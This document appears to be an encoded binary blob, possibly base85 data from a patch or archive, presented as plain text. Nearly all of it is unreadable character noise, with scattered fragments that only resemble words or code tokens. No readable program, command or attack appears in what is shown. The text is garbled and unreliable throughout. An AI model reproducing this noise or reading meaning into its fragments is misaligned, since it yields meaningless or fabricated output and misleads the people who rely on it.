z9(((WHJx}JWoBn2#3eh2v>|_dwB*Bh)OJ0019)=6 zh#}BVQd6LfI_HCBk-eXJI_ZZ!TV@~rk%?{0f7X53F5&!s)AP-p^S$Eh#wocrm!p=$?w zr4IbW@fNqO7HuOXD=9WJIo4g{-~`!92_Aa-l@Uuf6b#Er|K-oJ+gChYTg?z_l2cP6 zV-wS742hYV5Eq#ompnSgCMPOkNp1${FgjDmUvK(qyV+;=-CkSU zX2wqo%uIIY6hYzCe9aqExBU8lrK6u&;}<(5@TJdctJ!9A+fgCgsdK=Kx8; zXT-CAbhsf9b%q6njpy!E>TCDd{~KLCWaNn5!Ffw}wqNivQsKpLTuPQglVxhqc-)|& zC&%QEI8G4!Y3nI4&yJQE@dpTfa;P;7jXDu&JN z?$>loK+$ z@VvrYzE23{A9Efy%@V3Dk87>dWHV*lPJHrqQ4aJ!sitGenEUm z_h8arhIrcb3ja|~|4j(xmvj96UWA_kJiDv|w>PI582FSI+kAQh$HT$k9EfUpfp07N zi(i6#`5x$S_|C^3!1L06QuJN^8sLRt{P`O!uL*G4H<||@_U;Tgy_Yoy_L;u_5&{WS0q6G zHpFMY)`#rt`5oX(mMi+rhzCCK*-6>nf&uqCzLU4Fa?l?FczJo0V!!za(09sJ{1tK> z@a8)d`>#j*kGmB47QpE{pPRw|VVFO-P$|!ulb}z&-=iEKJU9jQBkw=tfc|n{Zx(*~ z2)Ac5RH(hFH`qVPslSCcD?c$y*a!7_J>YqVUQ^mbSUbQA?^g7MBYtR*V(%!x={r{e zz;6Ydo@?y}-^EI}66lY{W}<%>bm-ix0bi4LHTg5QyEkjhqIw;L{J}u74Dh_dLdCw% z0gpJ|jN7*s%JUV^->=li>|mguVo~Vl0-kVU6{pVwd*%batgYC`hx$7W1l**;Z}4WZ zT~zoW@Q3^^1h%(M7RZLcF# zLB-yNi0^Ky&^JZ=P*)`$HAme0lwx0N#Md-b^4kJlT0WMSF97PJJ?0NiP~`W!&zo&( zK8NF2zt;jz-}%OPb?q!~M(^#)27LEys9(7+!4JweaxTd0)K~HUxLm+@pH$>eMBKYD zi2OMjaK_GIYi9Yte>>(E_EgG$?g?oB#}4xT)(!H#S3rK+9wnZ2{~xx`RHc3P20U-c z?@IprFCu-S;;#<@r|)9ocY8m<{Bi3Pd!N~a_%F%Sp4K6rwm|Xcdcf(u8GelzD+Ig^ z*pB~;ZWsGpu`KF??rRn;5c_CL&x-N#9XW2QY4O~PdBLGgrMWbnm<4o>v=lEM?!zF_* z{8T5#Wq#6-n^)nx^(iKq?)Tq_dqC!YJdw{~{2uy=<3vY-Y;diB2hlgV?HNvAKK_zK zpOF1t#25KETrj{v^6|VT$M#=@{z|lsUgh@a(~Y*L_lSWT9xyy`p*>JlEPwf69*^xX z{pLshp05|-e3fFky;;4p7|iQBmg~z}+E#o=CMMteVbpJFE%5b|Z{;}AyZTyp}Bz`C+&6B?#!=@Z0^g#aSqQ9A;L13FG+Qy3h&BYA*Hyi&q*gk&Jm?8KqVhOA>;ju|V ziVq@{v9&El{M#$9nJ7J>iAc{a`c%ddu}+fnvuIbHKYov2ALE*V`rTsuLJ)pP4nRBJ zyQuMTsPpz-v$fO@snDYKtNFUr3*G`!R`1^X7OLYftwz}|7j)JpT6*FmnEUf%d|pI+ zusY85&^!s2uPYt64vFQ*Yf_{`Nd8IrwliNxG~#e2w_T(OAM^J0dCP#42{y*=J=2Z1 zkLVK7pRDWu;QdVBf9Sh{U3SU&iu4}MX9$)Y5d2)6-G^?jtj*qQf-nFJitz`Gl+G*;Na^*>avk`R2&u z+}|`WqVx!vZaF0EEa~zmr`vnIxc;)rIG&I=i2Hf3?Khr}^8-GAkvPe#iVpMm6AS>U zyad_ZqW*{!th;?-KNwPrkrB6A=K!`HTHFQQpyd`Q0R;EVp%$ ziQflSv1?9g+@X3jy)Uk($-ns@Xs@sDeNI~*;zL{2*WuZ+KG84gc_1k#|Byb?Qy|+D zb| zo(1cd>?^MCt6ry(Os;`{$8#Eb|BoKv@*JC<(airzLM3_~KiN_Ky*AEu^_3S)B&e2< z{9jA<|12BEMLfv=`^0AKGz;>X+n^9+Fq*<5Dh3HXwSy7?+H8 z@L%@;#TbH>%c~xX)aP1Cicy&AT9%f_z_cEq@yBmtAs<&3O%UVL%X7Q)@rv@5aexAp z6jLC_k6ZlY^`urjW4duoKi=rc*XqV2%E$V}gVqzQkDTV~8<_Sr{^$;B8~J}~$2U#} zWw6k=tK-Y>@4oL+-~CfIN`ybkErj50gKzCb0?uc_rBxe`nu8Qv=qtt{Ouy$ zy8b8LP6=Wr&WHRqwBh<)m2bJu-g~5dcFEAKz0gm7Bsm0g&EDE};i5ETSGeUzUVrGT zst%&t`>?3L;=N*BVr_gX>I>9Am5hJL$&$sZH2tYMv)ZRE@Q9vnUsL@Q zmka+>dn%Qv)GRjp^b zy1z|w2%70cmV@qZtL-5YHB|Uq+}}1y;@D5b{e8y7eRGVr7*8l4$iyvfImZk?@@XQm_CPw zd^Myk2mCp}Kj95~XG?a8uL%Xm61P>%;yYv(O#|%&+NTswv?`K!@!q;tA0% zdyf_Kui6&7`2NAXz3b-{RNplJ*ell&em^bZPe#8Me7;BNq~Cwqcbfi#=_HG25Yl`q zo90VWeu;!?TJ<^ETa`>TovZWcb8?)+$q5{mvoh`mit=C@#tHHVmB095=lunBe@1#d zXq^`CXCgn@XP+Vb@#3UsJR9n{3NmJIKmTQ%$NW=|1`V{v>2dPw zfx)8v>hl#`?F&_5<7O-s&jmvoU*D4cu(uh^{Zdo^WXSbOdwWv=lWM5~5WUcJ0-jb&Vyc9NgFmCN#~g?MmI`tuba z+Ipw*lgeek%l0Ar8ToMH)(`R9`-phjk{l{C5Jz1kkMt86*`e4gGsvERQ!);o6fk;P`!-lV*0I|DKz8UM z=^_23kL17d`G?$pgkwI+N670*>Ql>A$2a0*ay%nFCTVwP3A;&XmQXEEeZDnO*h6v% z7O&O%oyNf%M{ei#6CKGq1A!0iCqDbUr98e<`AbKLaiPhxZMi@FuNLx2u3hGnyqdyE z{z6_&`7hRMf|~l%pffyRc;Lc&V4J`8+o^huU7POWYh}4-Ht_2XuT*i}uBX%Eb#)!C zm#fE1{Dpn`bbDevPJxwa_6QgdzxnVog)Hy*-K+V1;N^Kd4GHmIyp2ZieFpTuKJ|2$ zM~5nG%!u1gUl?bG2gn0ey)R_bWcfZuB9f5a7ZQDE-M;&&ETBEVpKfj=AgQ%nCh%3` z8a&MRHM}j}{}Fv^kn&waejf*Kj{S#^uHApB(R+RvHTSkQsL(twXYV8QM9cI; z>=57gM7W+lQa7F|+=bxeCpSPQ@$%` z^lMk1G13hW7#=V@V0ggrK=mG=>jXWdy>;-(j4BU&k55HK)tT=0gV)vkrAniW#Eaeo zTMxd<_ttsph?q82-;=WXJX+;D_4V=}Yc*NfzpT%z3J+)`=xZw9nD18QMI+7dz=iby zjf=*3cwzl)NWU;1=ukYoPRGMs-wri;PN}xzVNK;5lw zqdwMr`_2w&>V5xY8{IQmGD$qYlzlRa@5LD;35rgR<+xRT6PNfRL+DKGRnNAIXL?Cq zg2ahx`z(>)Sf*!RQT4SV(d*%^#7{Kk={0aZ|E4JES+(qLzCV)o4IX@Ah4MTW%6jhT zLmGOL-&=n3vRIZo|J?-x@!m}Lr9vLj5iFf3-c>;5r1ZLiVJwJ+F%!JQCWcLAGgv%J zW2r2YrLb5?y_qEd9tU}d(R-BZN;k^c{m0`K9l!8gV%U`URFVW@h*MB zDc=<|<|?i{W274%Fg$RvdH~1z>b^T|Z!4b7^*eopkL8ET1=Rbjy6;YtoRG_fJpFg4 z;d9#ju(lh=_dj%#bVa+pH2aqVhUuT-cfQd`Z<87){Yskk74h9^f=WgWPl!(sU9d-= zsNnv~J${hG66x1`i4)seS)5At62X5ER(%(%W(6&7FWL)I``3)6R#YpaAB{J@J6$W+ z8BB%;E_x5peGG(4w(Qb8!_mMeP;*I02*GvTcJk{}dxUsSozlx55qQAqeLTM){AK=b z&UZTP=6Kns;+?XTPHC17nP9ujzhc?Doz>6LQKim$P5b;F z>7jfz#Oq__h)tregeXaP!r#7%C%>-e<-t?+q2$B6@rtEw2-Kq0^mI;qL^mxnEjcD_ zMz5?Hf`Z-`q|l9CTu|)hMSes_^7WA31xx8LM-p=mO3*g&@j15!3w_L@yj6%-@j|wUljcePM8c|39Lr*fuxb>?BH{g8F|bk;3xA0$9oCU1 z!YWb{tRp2uZV=>K`MOd(8lL{!i@tscxT8 zkt{dSSGP}y%1Py`E9l8Sp`f}_s*-c)>}z$pPl)_UD)M#vgb1g6SI~%kt~_I;8y+w` zV0ggrfZ+kd1GHz((p~#r^Rm$&@qOl$URvI4ruw@Pde6a}*2|0Ek#pv#_b`#1@*Yx8 z{!3NfKen373-P{ZsiZT1t=%){lulnuqD#K=ZJo z1!CXT=CeomylKg40rm9NJ-a}1vLAN;>_YClB0oXW*sPNti-S;dWA@<&o-feO-sI7b!|5i(`iE;$2tGz&4sf^Km z&$R-%&pG7P(W1I-(Et!d^y^5qh?P~L??mMoPbe2LEyvn z=Y?`FRN_ftch@v+C5Q3FSNS;E&1g&QC{L#`3JeS>+@ZU;yKD3hU8U4Z_Ht; zagdR1c);+0;emgd2k70mWOnqn9sEAC{@w7VQ>*xVLH%xc_4-uNrj7jDQY7a>ttF6r z176%7h&p&#RHF|)_ksRh@I3~J_x;)1&#!WxsMqjd@=`Gm(`QJWiyiv~(5n zm3f!QuJ+fMcU9{mgWxalz=G0^-Yk61|7Fy#Xq6ZCBAfQX1FbgU01#Ld{=hc#t?%v- zNBBdLo&9bJf8ZBW_=3m%O^k&vIQ2SS_=PW6PzE9@T6G8RIYpWAkWdZ@LAw{+e+J$% zQBic_rE-7|Ek>-_hQ&t__%{e&@BorEyYxYC2I89ekM(bM=|XQ5-OPWu3DZp?-HhpG zI9F87yZ%K$B0HPGL{k(u5$*F2e<-PQ05@`!Vr0Lu==)d!xrz=P>{^pH?s5aDGx2;Y&K8H;zs5{5YWG4Eyb zn@?Ze`u)%ZZ|$23N{0(N>nyQzDu4trk^Z2>slH4=x4BnEg)i8JzA(vh5}O{UboK5( zN<)a{!-M=d=2P}0);}Gf*Bkxjv|HE}dGE?1Ts;E*2AGd_AtapHNrD~d$a788fDs10yVj(Ig%sDICg)^mgXPrzhZwSObtUIEg zSi;{FLvIr#zv9dpkA$JJJ<9e=?U>qabOX_@twY7z2#dyv^5&ivc9R?`$6RguXH${| zJ>^F=*ZPan%jj*1VACb=Pw8l*`uKB#mS3Ic?!2Nxn+sLTk39KyLaVHYyfdO)Hd#J` zTJFl&3sXctqjHeG=pI^o>1~I!bEBY_c(WBrymYFTp6o1g?BZ8KL{D-8rM<*Y5csOx zaZB=u-_=_x>19yn?!rELOQl7&C(=Xhitw85^dSA&?PdQn7m6Lf1f2rKnX7c7qkKK2 zd>vHYPAPYI(Az0XWP6};C3F^yWUo$4ouLI`+J5NgLbBct3k6~q^ps5fmvDEmh9avJ zLG2SWDMnUFc%F$nri%XNshEH36%5@yq1_Zz?xGW`_`Kq;zjI>RgySO}5uF6?ymKP+ zO-?#aFLzV?ST5{#-Z>F;l+K7xLa(JgHTp=et2-w+U&o_N>cMds54v+g`ONEiE|+kk zBj~(yqNQV(Xm@`Qz0l(NSGjXS{8UcKqTD&5eAl9Qj&cQGL;8Pf`>)0gMz-Mr!vlr~ z3=jNG9(ecT-tRW+AXW!PE!edgrv}G;yZFK7pjW0(vwHe`oMXDn$N7xAeBWyFahlUv!ALr-p^7~YiA6QL3zKz12{NQTx`&N_RubO;(VV*nv_+cY;{w+FOU*8ec zGJh=E+MSJpbec+$gYPsw}Y%UeXD$0^;ojv`MO(C~oM1Nw2a z1O_g5v1ZMG2b9h7|`&5;Q_+~7l#LE zzNd$#`~CUT>y{QKWv4LSUwso7M&YotJf83PHkR)YhAe&%RP$j*DBP^adzeMj-i$$f z)vvk34to0!zpBp?WrtZ7Ek+^1c^-wUn!Gt;TCuXd%<}Y=TR6V`wyo;)+Nv3IrWF;H z?@J>&If?6EML+dzVHLN`rM{0g33~_iN86JIB3Ycu>Ce_pN;Y1359|izS*J z@zIwFditdu@zGx=WZ`rz;bK2usx!G?U{^a{3 zq#)AU@XHrOdHxjTBt4W*IN3`$*-JP=wS09to|8P3L$ch_!{arY)jNB@Xzr(WvsZI_ zbK3}<^w>9Q_ivcS=<+51LRlZyKMFPeNGKEK=a2Qk&nR6!(bJb8oAno^AbFJD;J)RR z;vvqz?SBaQmQF#u9OMJCUqbtk+qUyB0_IElTnT&W2uZIiJ8cPn^8Km)9~AI%mJAd1 zzrX8;Tt3VHL+n$gdWX19_0elOV?TcU#C2+wWN(h-BRqTar(8~+gv7J^@hiHa9J`cH z{vp5FjtYOwEfQZ$Y~N}tSWx+(blNjU_c9144$EhvKIMm)Fxmd-(}9+v{XMJvVj|@8 zBA_2zlMpwM{7mft?HaRiv#&~DmE6BM#FOS#W~ve`O_<#h%Tc zI|_PE%K)27Cm#@!rY3O4sMlTH70 zc*Ww4U8?$G>_6S^>g*dZuIew|QoPXfU-78c55~HM-a`g%c);+0;Q_+~h6fA})Yb#) z^)UU{xhx=*u9a#ce~=`iuW`}WxuVOX_**8zx;Ula+?c-3MXCRkuXB+-`mb~Oof*r^ z(ObTS*L+&wCELW;yy)v(){XD;XJ^Y~e(A(j;#yP+Hpz6-gHZjp)g3W?;}NH4mq^~8 z>sBexBj%Y8)1GfV&*wHxoe|(2ZBs*-49_4%P2zLb^Yc*Ny>2XD%OAlxy=xZw9m?!HTXrP7%{ss@= zSgC&=&I>NA-8~QIT}{4EHTk~P^nO0 z{X>YWpM$CEu|GFj=-GbRm0VxBgv$G>q(PKV_T}P>B2>qkdC!X2E%`}qj+9^0vb`wJ zvc5A_Z0CRKE56i0?|UM>1W7-Wc9BA3EFe!9Q0;-5-ZRzT>m(U;&y?h2L)x{LP*CzMz4_BQyqfckP*caMnVl=l$wSiby{ zt`tQ3j7?YE$nO!AN;>oZY3~tjZu}^Jf3Q=(*?H>bjPys4ew(~EL{QJ`DxK)6%O^Ss zOHMSK`4FDVdqZUs&zJrs^3qUoM)p$re;J-nY|1x@_JaO7A34?e_xhAM#yz6yoMhx1 z9xyy$c);+$zs>{d`zXTr{ATYDi5Z3Ot;GMv!@C~#4cYI7|7`E=FI)?0_#ZnrcJ2^3 zi)6R35o`<#V`JfLJmeV1#p(eu4>KvnmyghL93R?@m?o~lz2M6l^n9jx{EuHnhz~{J zO*Z+(2yx0$%`<|E0ywFt;NQ8iQ=0l2O@9>7Fplp+!!5gre!8g>dk@1q}`n4MkIsgVbh2gV0b>kyAtvNMSTOxhl9d3DK76=u{42 z1ybGj-uLO<>7~Ubq~8Pm-TU7EpYOQO_r7